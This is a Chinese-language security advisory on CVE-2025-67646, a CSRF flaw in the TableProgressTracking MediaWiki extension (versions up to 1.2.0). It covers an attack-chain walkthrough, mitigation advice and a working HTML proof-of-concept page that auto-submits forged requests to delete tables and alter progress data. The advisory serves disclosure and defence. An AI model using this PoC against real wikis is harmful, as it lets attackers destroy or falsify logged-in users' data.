IPBUF安全漏洞报告
English
CVE-2025-67646 CVSS 3.5 低危

CVE-2025-67646 TableProgressTracking MediaWiki扩展CSRF漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-67646
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
TableProgressTracking MediaWiki扩展

相关标签

CSRF跨站请求伪造MediaWiki扩展TableProgressTracking认证绕过REST APICVE-2025-67646

漏洞概述

TableProgressTracking是一款用于MediaWiki的扩展程序,主要功能是跟踪特定标准(criterion)的进度。该扩展的1.2.0及更早版本在REST API实现中存在严重的安全缺陷,未对用户请求进行CSRF(Cross-Site Request Forgery,跨站请求伪造)token验证。这一设计漏洞使得攻击者能够利用已认证用户的身份,在用户不知情的情况下执行未授权的操作。攻击者通过构造恶意网页并诱导目标wiki的认证用户访问,即可触发针对该扩展API的恶意请求,成功利用后可删除表格数据或篡改进度跟踪记录。由于该漏洞需要用户交互且需要目标网站认证状态,因此攻击复杂度较低但实际危害有限。此漏洞已于1.2.1版本中通过添加CSRF token验证机制得到修复。

技术细节

该漏洞的根本原因在于TableProgressTracking扩展的REST API端点缺少CSRF保护机制。在Web应用程序安全实践中,CSRF token是防止跨站请求伪造攻击的标准手段,通常要求在执行敏感操作前验证请求中携带的token值。然而该扩展在实现delete和track progress等关键API功能时,未对请求来源进行有效验证。攻击者利用此漏洞时,首先需要识别目标wiki站点上TableProgressTracking扩展的REST API端点URL(通常为/api/rest.php/tableprogresstracking/*),然后构造包含恶意请求参数的HTML页面。当认证用户访问该页面时,浏览器会自动携带用户的认证cookie向目标API发送POST请求。由于浏览器会默认发送同源cookie,API服务器会认为这是来自合法用户的正常请求,从而执行攻击者预设的操作(如删除表格或修改进度数据)。攻击成功的前提是用户处于已登录状态且访问了攻击者构造的恶意页面。

攻击链分析

STEP 1
步骤1 - 信息收集
攻击者首先识别目标wiki站点,确认其安装了TableProgressTracking扩展,并确定该扩展REST API的端点地址和可利用的功能接口(如delete和track操作)。
STEP 2
步骤2 - 构造恶意页面
攻击者根据收集到的API信息,构造包含恶意表单的HTML页面。表单的action指向目标wiki的TableProgressTracking API,方法设为POST,并包含执行删除或跟踪操作所需的参数。
STEP 3
步骤3 - 诱导用户访问
攻击者通过钓鱼邮件、社交工程或其他方式诱导目标wiki的已认证用户访问构造好的恶意页面。攻击成功率依赖于用户当前是否保持登录状态。
STEP 4
步骤4 - 自动触发攻击请求
当受害者的浏览器加载恶意页面后,JavaScript代码自动提交表单或使用fetch API发送POST请求。浏览器会自动携带受害者在目标wiki的认证cookie发送请求。
STEP 5
步骤5 - 执行未授权操作
由于目标API缺少CSRF token验证,服务器将请求视为来自合法用户的正常操作,从而执行攻击者预设的删除表格或篡改进度数据等操作,完成整个攻击流程。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-67646: TableProgressTracking < 1.2.1 --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC</title> </head> <body> <h1>CSRF PoC - TableProgressTracking</h1> <p>This PoC demonstrates the CSRF vulnerability in TableProgressTracking extension.</p> <!-- Attack 1: Delete table --> <h2>Attack 1: Delete Table</h2> <form id="deleteForm" action="https://target-wiki.com/api/rest.php/tableprogresstracking/delete" method="POST" target="_blank"> <input type="hidden" name="table_id" value="VICTIM_TABLE_ID"> </form> <!-- Attack 2: Track progress --> <h2>Attack 2: Track Progress</h2> <form id="trackForm" action="https://target-wiki.com/api/rest.php/tableprogresstracking/track" method="POST" target="_blank"> <input type="hidden" name="table_id" value="VICTIM_TABLE_ID"> <input type="hidden" name="criterion_id" value="VICTIM_CRITERION_ID"> <input type="hidden" name="status" value="completed"> </form> <script> // Auto-submit both forms document.getElementById('deleteForm').submit(); setTimeout(() => document.getElementById('trackForm').submit(), 1000); </script> <p><em>Note: Replace 'target-wiki.com' with the actual wiki domain and table IDs with valid targets.</em></p> </body> </html>

影响范围

TableProgressTracking <= 1.2.0

防御指南

临时缓解措施
如果无法立即升级,可通过在Web服务器层面配置Referer或Origin请求头验证来临时缓解,同时应尽快安排升级到修复版本。在生产环境中,建议使用WAF(Web应用防火墙)规则阻断异常的TableProgressTracking API请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表